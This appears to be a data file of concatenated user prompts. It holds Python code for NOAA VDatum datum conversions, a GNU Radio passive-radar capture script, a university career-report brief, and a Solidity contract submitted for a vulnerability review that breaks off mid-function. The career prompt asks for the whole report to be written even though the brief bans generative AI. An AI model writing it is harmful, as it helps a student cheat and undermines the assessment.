"LMSL"\n input\\_h\\_ref, target\\_h\\_ref = None, None\n\n else:\n print("Triggering find\\_h\\_ref\\_exception")\n input\\_h\\_ref, target\\_h\\_ref = find\\_h\\_ref\\_exception(url)\n if elevation["input\\_v\\_elevation"]=="height" and elevation["target\\_v\\_elevation"]=="height":\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}")\n else:\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={elevation[\'input\\_v\\_elevation\']}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={elevation[\'target\\_v\\_elevation\']}")\n if check\\_url(url):\n result = requests.get(url).json()\n else:\n #print("PROBLEM WITH: ", url)\n metadata.loc[index, output\\_column\\_header] = np.nan\n url\\_list.append(create\\_hyperlink(url, "Error"))\n continue\n\n if result["t\\_z"] == "-999999":\n metadata.loc[index, output\\_column\\_header] = -999999\n url\\_list.append(create\\_hyperlink(url, "Missing"))\n\n else:\n metadata.loc[index, output\\_column\\_header] = float(result["t\\_z"]) - s\\_z\n url\\_list.append(create\\_hyperlink(url, output\\_column\\_header))\n return metadata, url\\_list\n\n\ndef convert\\_from\\_ref\\_datum(metadata):\n """Fill in the blanks by converting the reference datum to any un-solved datum conversions"""\n\n input\\_h\\_coord = "geo"\n input\\_v\\_unit = "us\\_ft"\n input\\_v\\_elevation = "height"\n\n target\\_h\\_coord = "geo"\n target\\_v\\_unit = "us\\_ft"\n target\\_v\\_elevation = "height"\n\n #Had to remove STND and MSL because those aren\'t Tidal Datums in VDatum -- added LMSL\n columns = [\'MHHW\', \'MHW\', \'MTL\',\'LMSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', "NGVD29"]\n\n tidal\\_datums = [\'MHHW\', \'MHW\', \'MTL\',\'LMSL\', \'DTL\', \'MLW\', \'MLLW\']\n\n orthometric\\_datums = ["NAVD88", "NGVD29", "PRVD02"]\n\n for index, row in metadata.iterrows():\n\n if pd.isna(row["Ref\\_Datum"]):\n continue\n\n if row["Ref\\_Datum"] == "STND":\n continue\n\n input\\_v\\_ref = row[\'Ref\\_Datum\']\n\n input\\_region = row["VDatum Regions"]\n s\\_y = row["Latitude"]\n s\\_x = row["Longitude"]\n s\\_z = row[row["Ref\\_Datum"]]\n\n # Loop through the different height columns\n for column in columns:\n # Skip if the value is already available\n if column == row["Ref\\_Datum"]:\n continue\n\n if not column in row.index or pd.isna(row[column]):\n target\\_v\\_ref = column\n\n input\\_h\\_ref = "{0}"\n target\\_h\\_ref = "{1}"\n\n# =============================================================================\n#\n# =============================================================================\n if input\\_region == "contiguous":\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n elif input\\_v\\_ref in orthometric\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n if input\\_v\\_ref == "NGVD29":\n input\\_h\\_ref = "NAD27"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n elif target\\_v\\_ref in orthometric\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n if target\\_v\\_ref == "NGVD29":\n target\\_h\\_ref = "NAD27"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n elif input\\_region == "chesapeak\\_delaware":\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "IGS14"\n elif input\\_v\\_ref in orthometric\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n if input\\_v\\_ref == "NGVD29":\n input\\_h\\_ref = "NAD27"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "IGS14"\n elif target\\_v\\_ref in orthometric\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n if target\\_v\\_ref == "NGVD29":\n target\\_h\\_ref = "NAD27"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "westcoast":\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "IGS14"\n elif input\\_v\\_ref in orthometric\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n if input\\_v\\_ref == "NGVD29":\n input\\_h\\_ref = "NAD27"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "IGS14"\n elif target\\_v\\_ref in orthometric\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n if target\\_v\\_ref == "NGVD29":\n target\\_h\\_ref = "NAD27"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "prvi":\n #There is no NAVD88 or NGVD29\n #start in orthometric\n if input\\_v\\_ref in tidal\\_datums:\n input\\_h\\_ref = "NAD83\\_2011"\n else:\n input\\_h\\_ref = "NAD83\\_2011"\n\n if target\\_v\\_ref in tidal\\_datums:\n target\\_h\\_ref = "NAD83\\_2011"\n else:\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "hi":\n print("WARNING: VDatum Does Not Have Tidal Datums for Hawaii")\n input\\_h\\_ref, target\\_h\\_ref = None, None\n\n else:\n print("WARNING: Triggering find\\_h\\_ref\\_exception")\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={input\\_v\\_elevation}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={target\\_v\\_elevation}")\n\n input\\_h\\_ref, target\\_h\\_ref = find\\_h\\_ref\\_exception(url)\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={input\\_v\\_elevation}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={target\\_v\\_elevation}")\n if check\\_url(url):\n result = requests.get(url).json()\n else:\n metadata.loc[index, column] = np.nan\n continue\n t\\_z = result["t\\_z"]\n if t\\_z == "-999999":\n metadata.loc[index, column] = np.nan\n\n elif t\\_z != float(np.nan):\n metadata.loc[index, column] = t\\_z\n return metadata' +'does this set the settings correctly for passive radar data? \n\n#!/usr/bin/env python2\n# -\\*- coding: utf-8 -\\*-\n##################################################\n# GNU Radio Python Flow Graph\n# Title: Top Block\n# Generated: Mon Mar 27 20:49:38 2023\n##################################################\n\nfrom distutils.version import StrictVersion\n\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n import ctypes\n import sys\n if sys.platform.startswith(\'linux\'):\n try:\n x11 = ctypes.cdll.LoadLibrary(\'libX11.so\')\n x11.XInitThreads()\n except:\n print "Warning: failed to XInitThreads()"\n\nfrom PyQt5 import Qt\nfrom PyQt5 import Qt, QtCore\nfrom gnuradio import blocks\nfrom gnuradio import eng\\_notation\nfrom gnuradio import gr\nfrom gnuradio import qtgui\nfrom gnuradio.eng\\_option import eng\\_option\nfrom gnuradio.filter import firdes\nfrom optparse import OptionParser\nimport osmosdr\nimport sip\nimport sys\nimport time\nfrom gnuradio import qtgui\nclass top\\_block(gr.top\\_block, Qt.QWidget):\n\n def \\_\\_init\\_\\_(self):\n gr.top\\_block.\\_\\_init\\_\\_(self, "Top Block")\n Qt.QWidget.\\_\\_init\\_\\_(self)\n self.setWindowTitle("Top Block")\n qtgui.util.check\\_set\\_qss()\n try:\n self.setWindowIcon(Qt.QIcon.fromTheme(\'gnuradio-grc\'))\n except:\n pass\n self.top\\_scroll\\_layout = Qt.QVBoxLayout()\n self.setLayout(self.top\\_scroll\\_layout)\n self.top\\_scroll = Qt.QScrollArea()\n self.top\\_scroll.setFrameStyle(Qt.QFrame.NoFrame)\n self.top\\_scroll\\_layout.addWidget(self.top\\_scroll)\n self.top\\_scroll.setWidgetResizable(True)\n self.top\\_widget = Qt.QWidget()\n self.top\\_scroll.setWidget(self.top\\_widget)\n self.top\\_layout = Qt.QVBoxLayout(self.top\\_widget)\n self.top\\_grid\\_layout = Qt.QGridLayout()\n self.top\\_layout.addLayout(self.top\\_grid\\_layout)\n\n self.settings = Qt.QSettings("GNU Radio", "top\\_block")\n self.restoreGeometry(self.settings.value("geometry", type=QtCore.QByteArray))\n ##################################################\n # Variables\n ##################################################\n self.samp\\_rate = samp\\_rate = 3200000\n\n ##################################################\n # Blocks\n ##################################################\n self.qtgui\\_histogram\\_sink\\_x\\_0 = qtgui.histogram\\_sink\\_f(\n 1024,\n 100,\n -1,\n 1,\n "",\n 2\n )\n\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_update\\_time(0.10)\n self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_autoscale(True)\n self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_accumulate(False)\n self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_grid(False)\n self.qtgui\\_histogram\\_sink\\_x\\_0.enable\\_axis\\_labels(True)\n\n if not True:\n self.qtgui\\_histogram\\_sink\\_x\\_0.disable\\_legend()\n\n labels = [\'\', \'\', \'\', \'\', \'\',\n \'\', \'\', \'\', \'\', \'\']\n widths = [1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1]\n colors = ["blue", "red", "green", "black", "cyan",\n "magenta", "yellow", "dark red", "dark green", "dark blue"]\n styles = [1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1]\n markers = [-1, -1, -1, -1, -1,\n -1, -1, -1, -1, -1]\n alphas = [1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 1.0]\n for i in xrange(2):\n if len(labels[i]) == 0:\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_label(i, "Data {0}".format(i))\n else:\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_label(i, labels[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_width(i, widths[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_color(i, colors[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_style(i, styles[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_marker(i, markers[i])\n self.qtgui\\_histogram\\_sink\\_x\\_0.set\\_line\\_alpha(i, alphas[i])\n\n self.\\_qtgui\\_histogram\\_sink\\_x\\_0\\_win = sip.wrapinstance(self.qtgui\\_histogram\\_sink\\_x\\_0.pyqwidget(), Qt.QWidget)\n self.top\\_grid\\_layout.addWidget(self.\\_qtgui\\_histogram\\_sink\\_x\\_0\\_win)\n self.osmosdr\\_source\\_0 = osmosdr.source( args="numchan=" + str(2) + " " + \'bladerf=0,nchan=2\' )\n self.osmosdr\\_source\\_0.set\\_sample\\_rate(samp\\_rate)\n self.osmosdr\\_source\\_0.set\\_center\\_freq(90000000, 0)\n self.osmosdr\\_source\\_0.set\\_freq\\_corr(0, 0)\n self.osmosdr\\_source\\_0.set\\_dc\\_offset\\_mode(0, 0)\n self.osmosdr\\_source\\_0.set\\_iq\\_balance\\_mode(0, 0)\n self.osmosdr\\_source\\_0.set\\_gain\\_mode(False, 0)\n self.osmosdr\\_source\\_0.set\\_gain(10, 0)\n self.osmosdr\\_source\\_0.set\\_if\\_gain(20, 0)\n self.osmosdr\\_source\\_0.set\\_bb\\_gain(20, 0)\n self.osmosdr\\_source\\_0.set\\_antenna(\'\', 0)\n self.osmosdr\\_source\\_0.set\\_bandwidth(0, 0)\n self.osmosdr\\_source\\_0.set\\_center\\_freq(100e6, 1)\n self.osmosdr\\_source\\_0.set\\_freq\\_corr(0, 1)\n self.osmosdr\\_source\\_0.set\\_dc\\_offset\\_mode(0, 1)\n self.osmosdr\\_source\\_0.set\\_iq\\_balance\\_mode(0, 1)\n self.osmosdr\\_source\\_0.set\\_gain\\_mode(False, 1)\n self.osmosdr\\_source\\_0.set\\_gain(10, 1)\n self.osmosdr\\_source\\_0.set\\_if\\_gain(20, 1)\n self.osmosdr\\_source\\_0.set\\_bb\\_gain(20, 1)\n self.osmosdr\\_source\\_0.set\\_antenna(\'\', 1)\n self.osmosdr\\_source\\_0.set\\_bandwidth(0, 1)\n\n self.blocks\\_multiply\\_const\\_vxx\\_0\\_0 = blocks.multiply\\_const\\_vcc((128, ))\n self.blocks\\_multiply\\_const\\_vxx\\_0 = blocks.multiply\\_const\\_vcc((128, ))\n self.blocks\\_file\\_sink\\_0\\_0 = blocks.file\\_sink(gr.sizeof\\_char\\*1, \'/media/psf/Home/Developer/enigma/passive-radar/data/RF2.dat\', False)\n self.blocks\\_file\\_sink\\_0\\_0.set\\_unbuffered(False)\n self.blocks\\_file\\_sink\\_0 = blocks.file\\_sink(gr.sizeof\\_char\\*1, \'/media/psf/Home/Developer/enigma/passive-radar/data/RF1.dat\', False)\n self.blocks\\_file\\_sink\\_0.set\\_unbuffered(False)\n self.blocks\\_complex\\_to\\_real\\_1 = blocks.complex\\_to\\_real(1)\n self.blocks\\_complex\\_to\\_real\\_0 = blocks.complex\\_to\\_real(1)\n self.blocks\\_complex\\_to\\_interleaved\\_char\\_0\\_0 = blocks.complex\\_to\\_interleaved\\_char(False)\n self.blocks\\_complex\\_to\\_interleaved\\_char\\_0 = blocks.complex\\_to\\_interleaved\\_char(False)\n\n ##################################################\n # Connections\n ##################################################\n self.connect((self.blocks\\_complex\\_to\\_interleaved\\_char\\_0, 0), (self.blocks\\_file\\_sink\\_0, 0))\n self.connect((self.blocks\\_complex\\_to\\_interleaved\\_char\\_0\\_0, 0), (self.blocks\\_file\\_sink\\_0\\_0, 0))\n self.connect((self.blocks\\_complex\\_to\\_real\\_0, 0), (self.qtgui\\_histogram\\_sink\\_x\\_0, 1))\n self.connect((self.blocks\\_complex\\_to\\_real\\_1, 0), (self.qtgui\\_histogram\\_sink\\_x\\_0, 0))\n self.connect((self.blocks\\_multiply\\_const\\_vxx\\_0, 0), (self.blocks\\_complex\\_to\\_interleaved\\_char\\_0, 0))\n self.connect((self.blocks\\_multiply\\_const\\_vxx\\_0\\_0, 0), (self.blocks\\_complex\\_to\\_interleaved\\_char\\_0\\_0, 0))\n self.connect((self.osmosdr\\_source\\_0, 1), (self.blocks\\_complex\\_to\\_real\\_0, 0))\n self.connect((self.osmosdr\\_source\\_0, 0), (self.blocks\\_complex\\_to\\_real\\_1, 0))\n self.connect((self.osmosdr\\_source\\_0, 0), (self.blocks\\_multiply\\_const\\_vxx\\_0, 0))\n self.connect((self.osmosdr\\_source\\_0, 1), (self.blocks\\_multiply\\_const\\_vxx\\_0\\_0, 0))\n\n def closeEvent(self, event):\n self.settings = Qt.QSettings("GNU Radio", "top\\_block")\n self.settings.setValue("geometry", self.saveGeometry())\n event.accept()\n\n def get\\_samp\\_rate(self):\n return self.samp\\_rate\n\n def set\\_samp\\_rate(self, samp\\_rate):\n self.samp\\_rate = samp\\_rate\n self.osmosdr\\_source\\_0.set\\_sample\\_rate(self.samp\\_rate)\ndef main(top\\_block\\_cls=top\\_block, options=None):\n\n qapp = Qt.QApplication(sys.argv)\n\n tb = top\\_block\\_cls()\n tb.start()\n tb.show()\n\n def quitting():\n tb.stop()\n tb.wait()\n qapp.aboutToQuit.connect(quitting)\n qapp.exec\\_()\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n main()' +'Career Exploration Report \n\\*\\*Due Date: Week 7, Wed 29 Mar, 4 pm\\*\\*\n\n[Career Fit Analysis Draft](https://www.notion.so/Career-Fit-Analysis-Draft-319f354ad3e844dca00e50b5b9d2cd85)\n\nPurpose:\n\nThis exercise provides you with an opportunity to systematically investigate two careers and/or jobs you are interested in pursuing, as well as to network with two people who are in your chosen careers and/or jobs.\n\nOverview:\n\nYou will conduct research on two careers/jobs. The research will entail networking with and interviewing a suitable person in each career. In conducting this research, you will obtain a broad understanding of these careers/jobs, validate or invalidate the assumptions and uncertainties you hold concerning these careers/jobs, and explore other questions that you may have concerning those careers. You will then write a report analyzing your networking experience and what you have learned about the two careers/jobs. You will also describe the next steps in your career planning and the lessons learned in light of this analysis.\n\nRequired Format:\n\n\\*\\*Step 1: Identify two career(s) and/or job(s) you are currently interested in pursuing (approx. 150 words)\\*\\*\n\nA student might be interested in two career areas: human resources and marketing. Another might be interested in one job (e.g., advertising manager) within the marketing major and one career (e.g., entrepreneur). Obviously, some careers and jobs may seem more viable to you than do others, but it is important to provide a comparison of two careers/jobs.\n\nDrawing on academic sources (from Week 1 readings and lecture), define career and job. Based on these definitions, explain \\*\\*\\*whether and how\\*\\*\\* the chosen careers or jobs represent careers or jobs TO YOU.\n\n\\*\\*Step 2: Identify assumptions/beliefs and uncertainties (in Appendix)\\*\\*\n\nFor each of the careers or jobs, identify the following:\n\n1. Two positive assumptions/beliefs you have concerning the career/job.\n2. Two negative assumptions/beliefs you have concerning the career/job.\n3. Two uncertainties you have concerning the career/job.\n\nIn deciding which careers/jobs to pursue, you will have made implicit assumptions about your future compensation, the nature of your work, type of job difficulties, and forms of satisfaction and dissatisfaction in this future career. Some of these assumptions and beliefs will be true, whereas others will be false. Nevertheless, it is important for you to validate your assumptions and beliefs as you pursue your studies and before you seek employment.\n\nList the assumptions/beliefs and uncertainties for each career/job that are most important to you in the form of statements in an Appendix. Clearly label each - a) positive or b) negative assumption or c) an uncertainty.\n\n\\*\\*Step 3: Translate assumptions/beliefs and uncertainties into questions for each career/job (in Appendix)\\*\\*Translate the assumptions/beliefs and uncertainties you have identified in Step 2 into a series of questions to be asked of your interviewees. The reader should be able to \\*easily identify\\* which question is written for which assumption and uncertainty (a table format may help).\n\nHow? To translate your assumption that one needs a Bachelor’s degree for a job into a question, you might ask what educational background is needed to get this job. Or, you assume that this career requires a significant time commitment and thus you believe that you will not achieve a work-life balance. Your questions might then be: What is the average number of hours you work in a typical week? How has this career impacted you and your family and your work-life balance? How are you managing your work-life balance? Or, you have a positive assumption that this career provides you with lots of travel opportunities. Your question might entail: To what extent are there national and international travel opportunities in this career? What do those opportunities usually entail – attending meetings and trade shows, running workshops, etc?\n\n\\*\\*Step 4: Choose and contact at least one person to interview, analyze and reflect on the networking process and describe one lesson learned from this \\*networking experience\\* (approx. 300 words)\\*\\*\n\nIdentify and contact the people you wish to interview. The choice of who to interview is extremely important. It is best for you to identify the type of individual who would best answer your questions instead of contacting someone who is merely the most convenient. Use some of the criteria presented in Week 1 as a guide when you are identifying interviewees. Remember, professionalism begins with your initial contact. Do not interview by SMS or email. These interviews should be conducted face-to-face (or virtually with webcams on, if impossible to arrange).\n\nOnce the relevant criteria are chosen, identify who matches those criteria. Sources of contacts include alumni, friends, parents of other students, members of professional organizations, those you meet in networking events, etc. See Week 1 tutorial slides for more suggestions.\n\nFollow the contact tips in Week 1 slides,\n\nIn the Report:\n\na) State who you interviewed. The interviewees can remain anonymous if they wish, but please provide their job titles and type of companies (e.g., size, location) in which they work. State whether it was conducted face-to-face (or virtually - explain why a face-to-face meeting was not possible)\n\nb) Analyse and reflect on this networking experience. Draw on \\*at least 1 concept from the course\\* (with proper citation of course reading(s) and lecture/tutorial material(s)) when analyzing this \\*process\\*. The application of course concept(s) to this experience should help you answer the questions of “why” and “how” and thus deepen your reflection.\n\nc) Describe one lesson you have learned about networking in light of your analysis and reflection on this networking experience.\n\n\\*\\*Step 5: Summarize and reflect on the findings. (approx. 700 words)\\*\\*\n\nDiscuss the following:\n\na) How have your research and interview findings validated or invalidated your assumptions/beliefs and uncertainties about these careers/jobs? Summarize one or two findings for each career that are most important or surprising to you.\n\nb) Have your career plans been adjusted as a result of this exercise? If so, how? If not, why not? Be sure to describe your specific plan moving forward and explain why your plan is a reasonable and/or effective one based on your findings. The plan should include activities related to personal development, specific career/job search strategies, etc. Draw on \\*at least 1 concept from the course\\* (with proper citation of the academic source) for a and/or b to analyze and deepen your understanding of the findings and/or explain how they impact you and your career plan. Again, this application of course concept(s) to your findings/plan should help you answer the questions of “why” and “how” and thus deepen your reflection. This analysis should then lead you to reflect on a specific lesson learned about your career/job (i.e., c below).\n\nc) Describe the most important lesson you have learned about the careers/jobs in light of your analysis and reflection on your interview findings.\n\n\\*\\*Include Reference list and Appendices\\*\\*\n\nYou must cite all work properly throughout your report in [Harvard style](https://student.unsw.edu.au/referencing) and provide a reference list. You do not need to cite references \\*not\\* covered in the course. You must also include a list of assumptions/beliefs and uncertainties, as well as the associated interview questions in the Appendix.\n\nYou may use standard editing and referencing software (e.g., Microsoft Office suite, Grammarly, etc.), but \\*\\*\\*not\\* generative AI\\*\\*.\n\nReview resources on [how to write a reflective report](https://student.unsw.edu.au/reflective-writing).\n\n\\*\\*Note: All contents will be treated in strict confidence and with great respect.\\*\\*\n\n\\*\\*MARKING CRITERIA FOR CAREER EXPLORATION REPORT\\*\\*\n\n| Key Criteria | Grade |\n| --- | --- |\n| 1) Step 1\n• Identify two career(s) and/or job(s).\n• Career and job are defined in an accurate and scholarly manner.\n• Drawing on their academic definitions from the course, explain whether and how the chosen career(s) and/or job(s) represent career(s) or job(s) to you. | /2 |\n| 2) Step 2\n• Two positive assumptions/beliefs, two negative assumptions/beliefs and two uncertainties about each preferred career and/or job are listed in an Appendix. | /3 |\n| 3) Steps 3a and 3b\n• Questions, phrased in a professional manner, are accurately translated in a way that solicits responses that validate or invalidate each assumption/belief and uncertainty. This should be clearly presented in an Appendix next to each relevant assumption and uncertainty. | /2 |\n| 4) Step 4\n• Interviewed 2 relevant individuals.\n• Thoughtful application of course concept(s) when analysing the process.\n• Quality and depth of analysis of and reflection on the networking process.\n• Describe one lesson learned about networking in light of the analysis and reflection. | /8 |\n| 5) Step 5\n• Quality and clarity of the summary of findings (i.e., Step 5a)\n• Quality and depth of analysis of and reflection on the findings (i.e., Steps 5b and c): Thoughtful application of course concept(s) when analysing the findings. The reflection includes career plans change vs. no change, specific plans moving forward, and a lesson learned in light of the analysis. | /8 |\n| 6) Written construction and presentation are clear, concise, and logical (e.g. At least 2 academic readings are used and integrated in the reflection; Harvard style referencing; no spelling errors; work is edited; written expression is clear; all sections of the assignment are present; paragraphs are well developed; content is conveyed clearly). | /2 |\n| 7) Late penalty yes/no | - |\n| Total | /25 |\n\nWrite based on the above prompt, using the careers of a Product Manager, and a Business Analyst, based on the word count that are stated in each prompt' +'Check for possible vulnurbilities mentioned above in this contract below\n\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";\nimport "@openzeppelin/contracts/utils/Counters.sol";\nimport "./utils/MetaContext.sol";\nimport "./interfaces/IPosition.sol";\n\ncontract Position is ERC721Enumerable, MetaContext, IPosition {\n\n function ownerOf(uint \\_id) public view override(ERC721, IERC721, IPosition) returns (address) {\n return ERC721.ownerOf(\\_id);\n }\n\n using Counters for Counters.Counter;\n uint constant public DIVISION\\_CONSTANT = 1e10; // 100%\n\n mapping(uint => mapping(address => uint)) public vaultFundingPercent;\n\n mapping(address => bool) private \\_isMinter; // Trading contract should be minter\n mapping(uint256 => Trade) private \\_trades; // NFT id to Trade\n\n uint256[] private \\_openPositions;\n mapping(uint256 => uint256) private \\_openPositionsIndexes;\n\n mapping(uint256 => uint256[]) private \\_assetOpenPositions;\n mapping(uint256 => mapping(uint256 => uint256)) private \\_assetOpenPositionsIndexes;\n\n mapping(uint256 => uint256[]) private \\_limitOrders; // List of limit order nft ids per asset\n mapping(uint256 => mapping(uint256 => uint256)) private \\_limitOrderIndexes; // Keeps track of asset -> id -> array index\n\n // Funding\n mapping(uint256 => mapping(address => int256)) public fundingDeltaPerSec;\n mapping(uint256 => mapping(address => mapping(bool => int256))) private accInterestPerOi;\n mapping(uint256 => mapping(address => uint256)) private lastUpdate;\n mapping(uint256 => int256) private initId;\n mapping(uint256 => mapping(address => uint256)) private longOi;\n mapping(uint256 => mapping(address => uint256)) private shortOi;\n\n function isMinter(address \\_address) public view returns (bool) { return \\_isMinter[\\_address]; }\n function trades(uint \\_id) public view returns (Trade memory) {\n Trade memory \\_trade = \\_trades[\\_id];\n \\_trade.trader = ownerOf(\\_id);\n if (\\_trade.orderType > 0) return \\_trade;\n \n int256 \\_pendingFunding;\n if (\\_trade.direction && longOi[\\_trade.asset][\\_trade.tigAsset] > 0) {\n \\_pendingFunding = (int256(block.timestamp-lastUpdate[\\_trade.asset][\\_trade.tigAsset])\\*fundingDeltaPerSec[\\_trade.asset][\\_trade.tigAsset])\\*1e18/int256(longOi[\\_trade.asset][\\_trade.tigAsset]);\n if (longOi[\\_trade.asset][\\_trade.tigAsset] > shortOi[\\_trade.asset][\\_trade.tigAsset]) {\n \\_pendingFunding = -\\_pendingFunding;\n } else {\n \\_pendingFunding = \\_pendingFunding\\*int256(1e10-vaultFundingPercent[\\_trade.asset][\\_trade.tigAsset])/1e10;\n }\n } else if (shortOi[\\_trade.asset][\\_trade.tigAsset] > 0) {\n \\_pendingFunding = (int256(block.timestamp-lastUpdate[\\_trade.asset][\\_trade.tigAsset])\\*fundingDeltaPerSec[\\_trade.asset][\\_trade.tigAsset])\\*1e18/int256(shortOi[\\_trade.asset][\\_trade.tigAsset]);\n if (shortOi[\\_trade.asset][\\_trade.tigAsset] > longOi[\\_trade.asset][\\_trade.tigAsset]) {\n \\_pendingFunding = -\\_pendingFunding;\n } else {\n \\_pendingFunding = \\_pendingFunding\\*int256(1e10-vaultFundingPercent[\\_trade.asset][\\_trade.tigAsset])/1e10;\n }\n }\n \\_trade.accInterest += (int256(\\_trade.margin\\*\\_trade.leverage/1e18)\\*(accInterestPerOi[\\_trade.asset][\\_trade.tigAsset][\\_trade.direction]+\\_pendingFunding)/1e18)-initId[\\_id];\n \n return \\_trade;\n }\n function openPositions() public view returns (uint256[] memory) { return \\_openPositions; }\n function openPositionsIndexes(uint \\_id) public view returns (uint256) { return \\_openPositionsIndexes[\\_id]; }\n function assetOpenPositions(uint \\_asset) public view returns (uint256[] memory) { return \\_assetOpenPositions[\\_asset]; }\n function assetOpenPositionsIndexes(uint \\_asset, uint \\_id) public view returns (uint256) { return \\_assetOpenPositionsIndexes[\\_asset][\\_id]; }\n function limitOrders(uint \\_asset) public view returns (uint256[] memory) { return \\_limitOrders[\\_asset]; }\n function limitOrderIndexes(uint \\_asset, uint \\_id) public view returns (uint256) { return \\_limitOrderIndexes[\\_asset][\\_id]; }\n\n Counters.Counter private \\_tokenIds;\n string public baseURI;\n\n constructor(string memory \\_setBaseURI, string memory \\_name, string memory \\_symbol) ERC721(\\_name, \\_symbol) {\n baseURI = \\_setBaseURI;\n \\_tokenIds.increment();\n }\n\n function \\_baseURI() internal override view returns (string memory) {\n return baseURI;\n }\n\n function setBaseURI(string memory \\_newBaseURI) external onlyOwner {\n baseURI = \\_newBaseURI;\n }\n\n /\\*\\*\n \\* @notice Update funding rate after open interest change\n \\* @dev only callable by minter\n \\* @param \\_asset pair id\n \\* @param \\_tigAsset tigAsset token address\n \\* @param \\_longOi long open interest\n \\* @param \\_shortOi short open interest\n \\* @param \\_baseFundingRate base funding rate of a pair\n \\* @param \\_vaultFundingPercent percent of earned funding going to the stablevault\n \\*/\n function updateFunding(uint256 \\_asset, address \\_tigAsset, uint256 \\_longOi, uint256 \\_shortOi, uint256 \\_baseFundingRate, uint \\_vaultFundingPercent) external onlyMinter {\n if(longOi[\\_asset][\\_tigAsset] < shortOi[\\_asset][\\_tigAsset]) {\n if (longOi[\\_asset][\\_tigAsset] > 0) {\n accInterestPerOi[\\_asset][\\_tigAsset][true] += ((int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(longOi[\\_asset][\\_tigAsset]))\\*int256(1e10-vaultFundingPercent[\\_asset][\\_tigAsset])/1e10;\n }\n accInterestPerOi[\\_asset][\\_tigAsset][false] -= (int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(shortOi[\\_asset][\\_tigAsset]);\n\n } else if(longOi[\\_asset][\\_tigAsset] > 